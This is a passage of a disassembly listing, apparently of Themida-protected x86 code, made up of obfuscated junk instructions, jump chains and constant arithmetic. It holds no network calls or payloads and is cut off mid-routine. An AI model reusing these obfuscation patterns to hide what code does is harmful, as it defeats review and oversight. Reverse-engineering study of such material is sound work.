		jmp	loc_567DD0
; ---------------------------------------------------------------------------


loc_562CA3:				; CODE XREF: sub_56207C+CF8j
		push	[esp+4Ch+var_4C]
		jmp	loc_56BAC6
; ---------------------------------------------------------------------------


loc_562CAB:				; CODE XREF: sub_561F57+2j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4Ch+var_4C]
		jmp	loc_5618D6
; ---------------------------------------------------------------------------


loc_562CC0:				; CODE XREF: sub_55FBBE-D5Ej
		or	ebx, 26173909h
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		shr	ebx, 6
		add	ebx, 0FD9B7E02h
		add	ecx, ebx
		pop	ebx
		push	ecx
		push	[esp+4Ch+var_48]
		jmp	loc_56C015
; ---------------------------------------------------------------------------


loc_562CE2:				; CODE XREF: sub_56207C+B565j
		dec	byte ptr [esp+50h+var_50]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_562CEB:				; CODE XREF: sub_56207C+B517j
		shl	ebx, 1
		and	ebx, 432C20B0h
		shr	ebx, 7
		sub	ebx, 158F4534h
		add	ebx, 17D4AF34h
		add	edi, ebx
		pop	ebx
		mov	ecx, edi
		jmp	loc_566BED
; ---------------------------------------------------------------------------


loc_562D0C:				; CODE XREF: sub_56207C+487Bj
		add	edx, edi
		pop	edi
		sub	edx, 71F01190h
		add	edx, esi
		add	edx, 71F01190h
		sub	edx, 24801AD2h
		add	edx, 53CB49CFh
		jmp	loc_572B13
; ---------------------------------------------------------------------------


loc_562D2E:				; CODE XREF: sub_56207C+10173j
		mov	edi, [esp+4Ch+var_4C]
		add	esp, 4
		pop	[esp+48h+var_48]
		mov	esp, [esp+44h+var_44]
		jmp	loc_56E380
; ---------------------------------------------------------------------------


loc_562D42:				; DATA XREF: Themida_:0055E0E4o
		push	dword ptr [edi+1Ch]
		push	edi
		push	ebx
		mov	ebx, esp
		jmp	loc_564070
; ---------------------------------------------------------------------------


loc_562D4E:				; CODE XREF: sub_56207C+2423j
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_5612F7
; ---------------------------------------------------------------------------


loc_562D5A:				; CODE XREF: sub_56207C+6188j
		add	[esp+4Ch+var_4C], 499C09E0h
		jmp	loc_564F88
; ---------------------------------------------------------------------------


loc_562D66:				; CODE XREF: sub_56207C+7E92j
		sub	[esp+4Ch+var_48], 789F6E41h
		mov	eax, [esp+4Ch+var_4C]
		add	esp, 4
		jmp	loc_562CA3
; ---------------------------------------------------------------------------


loc_562D79:				; CODE XREF: sub_56207C-3AEDj
		mov	ebp, esi
		jmp	loc_55F673
; ---------------------------------------------------------------------------


loc_562D80:				; CODE XREF: sub_56207C-1DD6j
		push	edi
		push	462Eh
		mov	[esp+6+var_8+2], ebx
		mov	ebx, 9646916h
		xor	ebx, 75496BC4h
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, 2BBD4FB0h
		add	ebx, eax
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		sub	ebx, 0A7EA4E82h
		push	esi
		mov	esi, ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5680B7
; ---------------------------------------------------------------------------


loc_562DC1:				; CODE XREF: sub_56207C+E6EEj
		mov	[esp+0Eh+var_10+2], edx
		push	ecx
		jmp	loc_56BC24
; ---------------------------------------------------------------------------


loc_562DCA:				; CODE XREF: sub_56207C+FCA7j
		pop	edx
		jmp	loc_56FDE7
; ---------------------------------------------------------------------------


loc_562DD0:				; CODE XREF: sub_56207C+99ECj
		add	esi, 644D3560h
		mov	ebx, esi
		pop	esi
		neg	ebx
		shr	ebx, 6
		sub	ebx, 39F74D4Dh
		sub	ebx, 94160AB3h
		push	ebp
		mov	ebp, 0C7D03B1h
		add	ebp, 127D193Bh
		push	ebp
		mov	ebp, 357A3E68h
		or	ebp, 4F6C2C61h
		or	ebp, 18BB5CB6h
		or	ebp, 1D212664h
		and	ebp, 41753B74h
		xor	ebp, 539D0E38h
		sub	ecx, ebp
		pop	ebp
		add	ecx, 4D883424h
		sub	ecx, ebp
		sub	ecx, 4D883424h
		add	ecx, 12E8344Ch
		pop	ebp
		sub	ecx, 558346EBh
		jmp	loc_562233
; ---------------------------------------------------------------------------


loc_562E3D:				; CODE XREF: sub_56207C+EE25j
		push	10h
		push	[esp+0Eh+var_10+2]
		push	[esp+12h+var_14+2]
		jmp	loc_55E7EC
; ---------------------------------------------------------------------------


loc_562E4D:				; CODE XREF: sub_56207C-2505j
		push	edi
		mov	edi, 23ED3CF1h
		jmp	loc_564EB1
; ---------------------------------------------------------------------------


loc_562E58:				; CODE XREF: sub_56207C+854j
		sub	esp, 4
		mov	[esp+24h+var_24], edi
		mov	edi, 40314426h
		jmp	loc_5650E1
; ---------------------------------------------------------------------------


loc_562E6B:				; CODE XREF: sub_56207C+8F87j
		sub	ebx, 1C7C1777h
		add	ebx, edx
		push	edx
		mov	edx, 17CB7D5Ch
		and	edx, 751D2D6Fh
		jmp	loc_562A17
; ---------------------------------------------------------------------------


loc_562E84:				; CODE XREF: sub_56207C+9017j
		add	ebp, eax
		jmp	loc_5663F2
; ---------------------------------------------------------------------------


loc_562E8B:				; CODE XREF: sub_56207C+20D1j
		push	598Ah
		mov	[esp+2Ch+var_2C], edx
		mov	edx, 2EC60EE8h
		mov	ebp, 2EC60EECh
		xor	ebp, edx
		jmp	loc_569632
; ---------------------------------------------------------------------------


loc_562EA4:				; CODE XREF: sub_56207C+6D95j
		mov	[esp+2Ch+var_2C], esp
		add	[esp+2Ch+var_2C], 4
		push	[esp+2Ch+var_2C]
		pop	edi
		add	esp, 4
		add	edi, 4
		push	7A0Fh
		mov	[esp+2Ch+var_2C], edx
		mov	edx, 176C2606h
		push	ebp
		jmp	loc_56FC02
; ---------------------------------------------------------------------------


loc_562ED1:				; CODE XREF: sub_56207C+69AAj
		pop	ebx
		add	ecx, eax
		add	ecx, 6D6133EAh
		pop	eax
		push	0FEh
		mov	[esp+2Ch+var_2C], ebx
		mov	ebx, ecx
		mov	ebp, ebx
		mov	ebx, [esp+2Ch+var_2C]
		add	esp, 4
		pop	ecx
		add	eax, 6E426F63h
		add	eax, ebp
		jmp	loc_56D0D0
; ---------------------------------------------------------------------------


loc_562EFD:				; CODE XREF: sub_56207C+FD89j
		push	edi
		jmp	near ptr dword_55FEE8+21h
; ---------------------------------------------------------------------------


loc_562F03:				; CODE XREF: sub_56207C+FA09j
		xchg	esi, [esp+28h+var_28]
		pop	esp
		push	112Fh
		mov	[esp+28h+var_28], ebx
		jmp	loc_560A0C
; ---------------------------------------------------------------------------


loc_562F14:				; CODE XREF: sub_56207C+2443j
		push	[esp+28h+var_28]
		push	[esp+2Ch+var_2C]
		pop	ebp
		add	esp, 4
		add	esp, 4
		xor	[esp+24h+var_24], ebp
		xor	ebp, [esp+24h+var_24]
		xor	[esp+24h+var_24], ebp
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		xor	[esp+20h+var_20], ecx
		xor	ecx, [esp+20h+var_20]
		xor	[esp+20h+var_20], ecx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_562F3E:				; CODE XREF: sub_56207C-2825j
		add	esp, 4
		shl	ebp, 3
		jmp	loc_56A353
; ---------------------------------------------------------------------------


loc_562F4C:				; CODE XREF: sub_56207C+468Bj
		sub	ebx, 42CF0DC3h
		sub	ebx, 0DB55948h
		add	ebx, esi
		add	ebx, 0DB55948h
		jmp	loc_56E278
; ---------------------------------------------------------------------------


loc_562F65:				; CODE XREF: sub_56207C+2F8Bj
		sub	bh, 0AFh
		jmp	loc_572279
; ---------------------------------------------------------------------------


loc_562F6D:				; CODE XREF: sub_56207C-227Cj
		xor	ebp, esi
		pop	esi
		add	esi, ebp
		pop	ebp
		sub	esi, ebx
		push	ebx
		mov	ebx, 574259E9h
		sub	esi, ebx
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		jmp	loc_56E716
; ---------------------------------------------------------------------------


loc_562F88:				; CODE XREF: sub_56207C+EC99j
		add	edx, ebp
		pop	ebp
		push	ebx
		jmp	loc_56B691
; ---------------------------------------------------------------------------


loc_562F91:				; CODE XREF: sub_56207C+36F5j
		sub	ebx, esi
		pop	esi
		sub	ebx, 35DC1E9Eh
		movzx	ax, byte ptr [eax]
		push	285Bh
		jmp	loc_569DED
; ---------------------------------------------------------------------------


loc_562FA8:				; CODE XREF: sub_56207C+665Bj
		add	edx, 4
		xchg	edx, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		push	ebx
		mov	ebx, 2FA264DDh
		sub	ebx, 2D263D29h
		shr	ebx, 5
		jmp	loc_56FAC0
; ---------------------------------------------------------------------------


loc_562FCC:				; CODE XREF: sub_56207C+2858j
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 6520712Dh
		push	edi
		mov	edi, 0FF63D2Ch
		jmp	loc_565057
; ---------------------------------------------------------------------------


loc_562FDF:				; CODE XREF: sub_56207C+FFBCj
		add	[esp+20h+var_1C], 657457A2h
		push	esi
		mov	esi, 3FCD0716h
		add	[esp+24h+var_1C], esi
		jmp	loc_56900F
; ---------------------------------------------------------------------------


loc_562FF6:				; CODE XREF: sub_56207C-11D8j
		sub	al, 0A2h
		jmp	loc_5732A8
; ---------------------------------------------------------------------------


loc_562FFD:				; CODE XREF: sub_56207C+5AC5j
		mov	edx, 1203795Bh
		jmp	loc_56CB94
; ---------------------------------------------------------------------------


loc_563007:				; CODE XREF: sub_56207C+E23Dj
		pop	edi
		add	ecx, 75CD4B66h
		add	ecx, 0C8FFEFB2h
		xor	edx, ecx
		jmp	loc_56CD41
; ---------------------------------------------------------------------------


loc_56301B:				; CODE XREF: sub_56207C-1D67j
		add	esi, ebx
		sub	esi, 44A07BF1h
		pop	ebx
		add	esi, 4
		xor	esi, [esp+10h+var_10]
		xor	[esp+10h+var_10], esi
		xor	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		movzx	ecx, al
		push	eax
		mov	eax, esp
		jmp	loc_56E5AF
; ---------------------------------------------------------------------------


loc_56304D:				; CODE XREF: sub_56207C+92BFj
		pop	edx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		pop	edx
		mov	[edi+eax*4], ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_56131F
; ---------------------------------------------------------------------------


loc_563066:				; CODE XREF: sub_56207C-1E00j
		or	ebx, ebx
		jnz	loc_573070
		push	edx
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esp
		add	[esp+1Ah+var_1C+2], 4
		mov	edx, [esp+1Ah+var_1C+2]
		push	ebx
		jmp	loc_56E83E
; ---------------------------------------------------------------------------


loc_563082:				; CODE XREF: sub_56207C+13Bj
		push	4419h
		jmp	loc_56100E
; ---------------------------------------------------------------------------


loc_56308C:				; CODE XREF: sub_56207C+F2C9j
		pop	edx
		jmp	loc_56ECFA
; ---------------------------------------------------------------------------


loc_563092:				; CODE XREF: sub_56207C+E34Fj
		sub	eax, 828FFE2h
		or	ebx, eax
		jmp	loc_561906
; ---------------------------------------------------------------------------


loc_56309E:				; CODE XREF: sub_56207C+987Fj
		mov	esi, esp
		add	esi, 4
		push	ecx
		push	esi
		push	edx
		mov	edx, 2124DDDh
		mov	esi, 255CC8F4h
		add	esi, edx
		pop	edx
		push	eax
		mov	eax, esi
		mov	ecx, eax
		pop	eax
		pop	esi
		sub	ecx, 276F16CDh
		jmp	loc_561DEE
; ---------------------------------------------------------------------------


loc_5630C8:				; CODE XREF: sub_56207C+C995j
		mov	ecx, 22725ED0h
		xor	[esp+60h+var_5C], ecx
		pop	ecx
		push	[esp+5Ch+var_5C]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 22725ED0h
		jmp	loc_5689D2
; ---------------------------------------------------------------------------


loc_5630E7:				; CODE XREF: sub_56207C+A485j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_55E79F
; ---------------------------------------------------------------------------


loc_5630F7:				; CODE XREF: sub_56207C+10669j
		xor	ebp, 77DB593Bh
		add	ebp, 26F626EDh
		add	ebp, edx
		sub	ebp, 26F626EDh
		mov	edx, [esp+60h+var_60]
		jmp	loc_56C4AC
; ---------------------------------------------------------------------------


loc_563113:				; CODE XREF: sub_56207C+11004j
		push	1383h
		mov	[esp+64h+var_64], eax
		mov	eax, 0
		mov	ebx, eax
		mov	eax, [esp+64h+var_64]
		add	esp, 4
		jmp	loc_567512
; ---------------------------------------------------------------------------


loc_563130:				; DATA XREF: Themida_:0055E23Co
		push	ebp
		push	6B6Fh
		mov	[esp+68h+var_68], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_56B74A
; ---------------------------------------------------------------------------


loc_563149:				; CODE XREF: sub_56207C+163Ej
		push	bx
		push	ax
		mov	al, 0Ah
		push	ecx
		mov	ch, al
		jmp	loc_56744B
; ---------------------------------------------------------------------------


loc_563157:				; CODE XREF: sub_56207C+1B23j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+70h+var_70]
		jmp	loc_57054B
; ---------------------------------------------------------------------------


loc_563168:				; CODE XREF: sub_56207C+A5F7j
		push	ebp
		jmp	loc_57219B
; ---------------------------------------------------------------------------


loc_56316E:				; CODE XREF: sub_56207C+726Aj
		shl	esi, 5
		shr	esi, 8
		xor	esi, 0CC6F7766h
		xor	ecx, esi
		mov	esi, [esp+74h+var_74]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+7Ch+var_78]
		pop	ebx
		pop	[esp+7Ch+var_7C]
		pop	esp
		sub	esp, 4
		mov	[esp+78h+var_78], ecx
		pop	dword ptr [edi+20h]
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		push	6A25h
		jmp	loc_561136
; ---------------------------------------------------------------------------


loc_5631B7:				; CODE XREF: sub_56207C+80E5j
		sub	esp, 4
		mov	[esp+78h+var_78], ebp
		jmp	loc_56E31E
; ---------------------------------------------------------------------------


loc_5631C2:				; CODE XREF: sub_56207C+5D1Ej
		xor	esi, 712D694Ch
		mov	ecx, esi
		pop	esi
		add	ebx, 4F71499Fh
		jmp	loc_566129
; ---------------------------------------------------------------------------


loc_5631D6:				; CODE XREF: sub_56207C-1253j
		pop	esp
		sub	esp, 4
		jmp	loc_57042C
; ---------------------------------------------------------------------------


loc_5631E2:				; CODE XREF: sub_56207C+436Aj
		push	[esp+2Ch+var_2C]
		pop	ecx
		add	esp, 4
		and	eax, esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_560164
; ---------------------------------------------------------------------------


loc_5631F9:				; CODE XREF: sub_56207C+26B9j
		xor	ch, byte ptr [esp+24h+var_24]
		xor	byte ptr [esp+24h+var_24], ch
		pop	edx
		push	68B9h
		mov	[esp+24h+var_24], ebx
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		mov	[esp+28h+var_28], ecx
		push	2FD6h
		mov	[esp+2Ch+var_2C], eax
		mov	al, dl
		mov	cl, al
		pop	eax
		push	edx
		mov	dl, cl
		jmp	loc_565A43
; ---------------------------------------------------------------------------


loc_563235:				; CODE XREF: sub_56207C+D26Bj
		xchg	ebp, [esp+2Ch+var_2C]
		jmp	loc_5663E5
; ---------------------------------------------------------------------------


loc_56323D:				; CODE XREF: sub_56207C+AE2Cj
		xor	edx, edx
		push	4BEFh
		jmp	loc_56F629
; ---------------------------------------------------------------------------


loc_563249:				; CODE XREF: sub_56207C+8253j
		and	edx, 3FC5441Fh
		jmp	loc_5634A4
; ---------------------------------------------------------------------------


loc_563254:				; CODE XREF: sub_56207C+10AAFj
		pop	ecx
		mov	ah, 9Ah
		sub	ah, bh
		jmp	loc_56B744
; ---------------------------------------------------------------------------


loc_56325E:				; CODE XREF: sub_56207C-3C3Ej
		pop	edi
		jmp	loc_566EDA
; ---------------------------------------------------------------------------


loc_563264:				; CODE XREF: sub_56207C+3477j
		add	esp, 4
		shr	ebp, 8
		push	eax
		mov	eax, 0FFF9E288h
		add	ebp, 70E20B53h
		jmp	loc_5719CE
; ---------------------------------------------------------------------------


loc_56327E:				; CODE XREF: sub_56207C+1056Cj
		sub	[esp+0Ch+var_8], ebx
		push	ecx
		mov	ecx, 0D017F39h
		sub	[esp+10h+var_8], ecx
		pop	ecx
		pop	ebx
		push	eax
		jmp	loc_561DE0
; ---------------------------------------------------------------------------


loc_563294:				; CODE XREF: sub_56207C+7674j
		add	[esp+0Ch+var_8], ecx
		pop	ecx
		sub	[esp+8+var_8], 2D033A89h
		jmp	loc_571C5C
; ---------------------------------------------------------------------------


loc_5632A5:				; CODE XREF: sub_56207C+70B8j
		mov	cl, dl
		pop	edx
		sub	bl, cl
		pop	ecx
		sub	bl, 25h
		jmp	loc_57317B
; ---------------------------------------------------------------------------


loc_5632B3:				; CODE XREF: sub_56207C-1AC0j
		push	edi
		jmp	loc_56444F
; ---------------------------------------------------------------------------


loc_5632B9:				; CODE XREF: sub_56207C+D8C0j
		xor	esi, 5C9E419Ah
		add	ebx, esi
		pop	esi
		mov	eax, [esp+28h+var_28]
		push	eax
		push	esp
		pop	eax
		push	7C8Fh
		mov	[esp+30h+var_30], edi
		jmp	loc_560A7C
; ---------------------------------------------------------------------------


loc_5632D5:				; CODE XREF: sub_56207C+80A9j
		xor	[esp+30h+var_30], esi
		xor	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		movsx	cx, al
		push	small 577Eh
		mov	word ptr [esp+32h+var_34+2], cx
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5632EF:				; CODE XREF: sub_56207C+3EBAj
		xor	[esp+32h+var_34+2], ebx
		xor	ebx, [esp+32h+var_34+2]
		pop	esp
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 14A57442h
		add	ebp, 738562Ah
		sub	ebp, 3FA46B16h
		add	ebp, 23C6A0AEh
		add	esi, ebp
		mov	ebp, [esp+36h+var_38+2]
		add	esp, 4
		push	ebx
		jmp	loc_569076
; ---------------------------------------------------------------------------


loc_56331F:				; CODE XREF: sub_56207C+1F9Bj
		add	esi, eax
		mov	eax, [esp+36h+var_38+2]
		jmp	loc_565D24
; ---------------------------------------------------------------------------


loc_563329:				; CODE XREF: sub_56207C+7A5Aj
		pop	eax
		pop	eax
		and	eax, ecx
		pop	ecx
		jmp	loc_570130
; ---------------------------------------------------------------------------


loc_563333:				; CODE XREF: sub_56207C+47E8j
		xor	eax, edi
		jmp	loc_565FD3
; ---------------------------------------------------------------------------


loc_56333A:				; CODE XREF: sub_56207C+7595j
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], eax
		mov	al, 44h
		push	cx
		mov	cl, 23h
		xor	al, cl
		jmp	loc_57135D
; ---------------------------------------------------------------------------


loc_56334D:				; CODE XREF: sub_56207C+5563j
		add	edi, ebp
		pop	ebp
		jmp	loc_56A6FF
; ---------------------------------------------------------------------------


loc_563355:				; CODE XREF: sub_56207C+2CE4j
		pop	eax
		jmp	loc_56946F
; ---------------------------------------------------------------------------


loc_56335B:				; CODE XREF: sub_56207C+16E9j
		mov	[esp+28h+var_28], ecx
		mov	ecx, 7DB740C7h
		sub	edx, ecx
		mov	ecx, [esp+28h+var_28]
		add	esp, 4
		sub	edx, 72AB591Fh
		push	ecx
		mov	cl, al
		jmp	loc_57175D
; ---------------------------------------------------------------------------


loc_563379:				; DATA XREF: Themida_:0055E244o
		mov	cx, word ptr [esp+28h+var_28]
		jmp	loc_56697B
; ---------------------------------------------------------------------------


loc_563382:				; CODE XREF: sub_56207C+2792j
		push	eax
		mov	ah, 5
		or	ah, 0DDh
		jmp	loc_568911
; ---------------------------------------------------------------------------


loc_56338D:				; CODE XREF: sub_56207C+EDB7j
		neg	ebx
		push	edi
		push	ebp
		jmp	loc_563D32
; ---------------------------------------------------------------------------


loc_563396:				; CODE XREF: sub_56207C-6A6j
		pop	edx
		push	edi
		push	esi
		jmp	loc_568394
; ---------------------------------------------------------------------------


loc_56339E:				; CODE XREF: sub_56207C+BF42j
		xor	edi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		shr	word ptr [esp+22h+var_24+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5633AE:				; CODE XREF: sub_56207C+3855j
		and	edx, 52392588h
		jmp	loc_56F357
; ---------------------------------------------------------------------------


loc_5633B9:				; CODE XREF: sub_56207C+585Fj
		add	bl, cl
		add	bl, 34h
		pop	ecx
		push	0E19h
		jmp	loc_56D951
; ---------------------------------------------------------------------------


loc_5633C9:				; CODE XREF: sub_56207C+E92Dj
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_24+2]
		imul	cl
		movzx	cx, ah
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_55EA97
; ---------------------------------------------------------------------------


loc_5633EA:				; CODE XREF: sub_56207C+517Cj
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 52B2ECBh
		add	eax, 0FAD4D139h
		add	edx, eax
		pop	eax
		add	edx, 4
		jmp	loc_56D7F8
; ---------------------------------------------------------------------------


loc_56341B:				; CODE XREF: sub_56207C+773Bj
		mov	[esp+26h+var_28+2], ebx
		push	24DB7182h
		pop	ebx
		and	ebx, 0AF94C4Dh
		xor	ebx, 5AE26326h
		push	ebp
		mov	ebp, 5A3B2324h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_563FD8
; ---------------------------------------------------------------------------


loc_56343E:				; CODE XREF: sub_56207C-CE7j
		push	[esp+1Ch+var_1C]
		pop	ecx
		add	esp, 4
		push	edi
		push	ebp
		push	[esp+20h+var_20]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		push	[esp+24h+var_24]
		pop	ebp
		push	ebp
		push	esp
		jmp	loc_56FF83
; ---------------------------------------------------------------------------


loc_56346E:				; CODE XREF: sub_56207C-2A2Dj
		mov	ebx, edx
		jmp	loc_562385
; ---------------------------------------------------------------------------


loc_563475:				; CODE XREF: sub_56207C+5C9j
		add	esi, 4
		jmp	loc_565999
; ---------------------------------------------------------------------------


loc_563480:				; CODE XREF: sub_56207C+6D81j
		mov	bl, dl
		pop	edx
		mov	dh, bl
		pop	ebx
		shl	dh, 4
		jmp	loc_571D0F
; ---------------------------------------------------------------------------


loc_56348E:				; CODE XREF: sub_56207C+E05Bj
		add	dh, 0FFh
		xor	dh, 0C0h
		jmp	loc_565C99
; ---------------------------------------------------------------------------


loc_563499:				; CODE XREF: sub_56207C+7735j
		add	edi, 959FB1DEh
		jmp	loc_568A3D
; ---------------------------------------------------------------------------


loc_5634A4:				; CODE XREF: sub_56207C+11D3j
		and	edx, 0E8B2804h
		neg	edx
		xor	edx, 5BF3323Eh
		push	eax
		mov	eax, 6DC83F9Dh
		sub	eax, 34785FFAh
		sub	esp, 4
		mov	[esp+38h+var_38], ebx
		mov	ebx, 469E6DD9h
		jmp	loc_563820
; ---------------------------------------------------------------------------


loc_5634D0:				; CODE XREF: sub_56207C+109EAj
		pop	ebp
		add	ebx, esi
		pop	esi
		xor	ebx, 6E381EBCh
		add	eax, 2DB70783h
		sub	eax, ebx
		sub	eax, 2DB70783h
		pop	ebx
		jmp	loc_562469
; ---------------------------------------------------------------------------


loc_5634EC:				; CODE XREF: sub_56207C-3929j
		pop	edx
		jmp	loc_568843
; ---------------------------------------------------------------------------


loc_5634F2:				; CODE XREF: sub_56207C+34E7j
		add	ebx, 0FEF0B53h
		jmp	loc_56B550
; ---------------------------------------------------------------------------


loc_5634FD:				; CODE XREF: sub_56207C+D764j
		mov	dl, 18h
		add	dl, 37h
		shl	dl, 6
		xor	dl, 0Fh
		push	ecx
		push	ebx
		mov	bl, dl
		mov	ch, bl
		pop	ebx
		jmp	loc_5695C1
; ---------------------------------------------------------------------------


loc_563514:				; CODE XREF: sub_56207C+2689j
		push	2896h
		mov	[esp+30h+var_30], edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		jmp	loc_5705F2
; ---------------------------------------------------------------------------


loc_563529:				; CODE XREF: sub_56207C+1E7Dj
		add	edx, edi
		push	698Dh
		mov	[esp+38h+var_38], esi
		mov	esi, 1A5C0FB1h
		inc	esi
		sub	esi, 6AAF04AAh
		shr	esi, 2
		neg	esi
		add	esi, 87048967h
		add	edx, esi
		mov	esi, [esp+38h+var_38]
		add	esp, 4
		pop	edi
		jmp	loc_56A864
; ---------------------------------------------------------------------------


loc_563558:				; CODE XREF: sub_56207C+5C8Dj
		shl	ebx, 1
		sub	ebx, 7E741AF3h
		jmp	loc_560667
; ---------------------------------------------------------------------------


loc_563565:				; CODE XREF: sub_56207C+859Cj
		sub	eax, 7AE10797h
		push	[esp+30h+var_30]
		jmp	loc_567AED
; ---------------------------------------------------------------------------


loc_563572:				; CODE XREF: sub_56207C+4576j
		mov	[esp+34h+var_34], ebx
		jmp	loc_567080
; ---------------------------------------------------------------------------


loc_56357A:				; CODE XREF: sub_56207C+10837j
		push	eax
		jmp	loc_567629
; ---------------------------------------------------------------------------


loc_563580:				; CODE XREF: sub_56207C+F993j
		mov	eax, 0D7CC95Fh
		jmp	loc_56A023
; ---------------------------------------------------------------------------


loc_56358A:				; CODE XREF: sub_56207C-316j
		push	eax
		jmp	loc_5715B6
; ---------------------------------------------------------------------------


loc_563590:				; CODE XREF: sub_56207C+FF92j
		pop	ebp
		push	ecx
		jmp	loc_564465
; ---------------------------------------------------------------------------


loc_563597:				; CODE XREF: sub_56207C-3208j
		shl	ebp, 5
		xor	ebp, 0AC668BCBh
		xor	ebx, ebp
		pop	ebp
		sub	ebx, 1
		xchg	ecx, ebx
		not	ecx
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		push	ecx
		mov	ecx, 28FF474Dh
		add	ebx, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		jmp	loc_5648D9
; ---------------------------------------------------------------------------


loc_5635C4:				; CODE XREF: sub_56207C+A39Fj
		pop	eax
		push	eax
		push	5B03h
		push	esp
		pop	[esp+0Eh+var_10+2]
		push	ecx
		mov	ecx, 4
		jmp	loc_569941
; ---------------------------------------------------------------------------


loc_5635DA:				; CODE XREF: sub_56207C+9C00j
		pop	esp
		jmp	loc_56B4DD
; ---------------------------------------------------------------------------


loc_5635E0:				; CODE XREF: sub_560E35+3j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_570807
; ---------------------------------------------------------------------------


loc_5635EE:				; CODE XREF: sub_56207C+10DACj
		add	ebx, eax
		push	edx
		mov	edx, 545454Bh
		jmp	loc_572EA4
; ---------------------------------------------------------------------------


loc_5635FB:				; CODE XREF: sub_56207C+D60Fj
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Ah+var_C+2]
		pop	esp
		mov	edx, [esp+6+var_8+2]
		jmp	loc_568D7A
; ---------------------------------------------------------------------------


loc_563610:				; CODE XREF: sub_56207C-BD1j
		push	ebp
		jmp	loc_56CF6D
; ---------------------------------------------------------------------------


loc_563616:				; CODE XREF: sub_56207C+D812j
		xor	eax, 63A42D5h
		push	ebx
		mov	ebx, 4C8E325Bh
		not	ebx
		jmp	loc_563AA5
; ---------------------------------------------------------------------------


loc_563628:				; CODE XREF: sub_5610D6+9j
		pop	ecx
		shl	ebp, 1
		add	ebp, 43F43CBBh
		not	ebp
		sub	ebp, 934EF3C4h
		sub	ebx, ebp
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		sub	eax, ebx
		push	[esp+1Ch+var_1C]
		pop	ebx
		add	esp, 4
		push	edi
		push	ecx
		jmp	loc_56740C
; ---------------------------------------------------------------------------


loc_563651:				; CODE XREF: sub_56207C+2A9Ej
		add	esp, 4
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		push	[esp+18h+var_18]
		jmp	loc_56998C
; ---------------------------------------------------------------------------


loc_563668:				; CODE XREF: sub_56207C+A10Cj
		mov	eax, 4
		add	esi, eax
		pop	eax
		xor	esi, [esp+18h+var_18]
		xor	[esp+18h+var_18], esi
		jmp	loc_569896
; ---------------------------------------------------------------------------


loc_56367B:				; CODE XREF: sub_56207C+4F9j
		xor	esi, 3E4F774Eh
		jmp	loc_563938
; ---------------------------------------------------------------------------


loc_563686:				; CODE XREF: sub_56207C+4CCj
		add	esp, 4
		sub	[esp+3Ah+var_38+2], 59BB0A2Bh
		add	[esp+3Ah+var_38+2], edi
		push	ecx
		jmp	loc_56471C
; ---------------------------------------------------------------------------


loc_56369E:				; CODE XREF: sub_56207C+CEC4j
		mov	esi, esp
		push	edi
		jmp	loc_5602AB
; ---------------------------------------------------------------------------


loc_5636A6:				; CODE XREF: sub_56207C+8D56j
		add	[esp+42h+var_44+2], 4
		jmp	loc_56AD92
; ---------------------------------------------------------------------------


loc_5636B2:				; CODE XREF: sub_56207C+EDE1j
		add	al, bl
		add	al, 99h
		sub	al, 10h
		add	al, 50h
		jmp	loc_563149
; ---------------------------------------------------------------------------


loc_5636BF:				; CODE XREF: sub_56207C+78B7j
		mov	[esp+42h+var_44+2], eax
		mov	eax, 22E234Eh
		and	eax, 0E5C402Eh
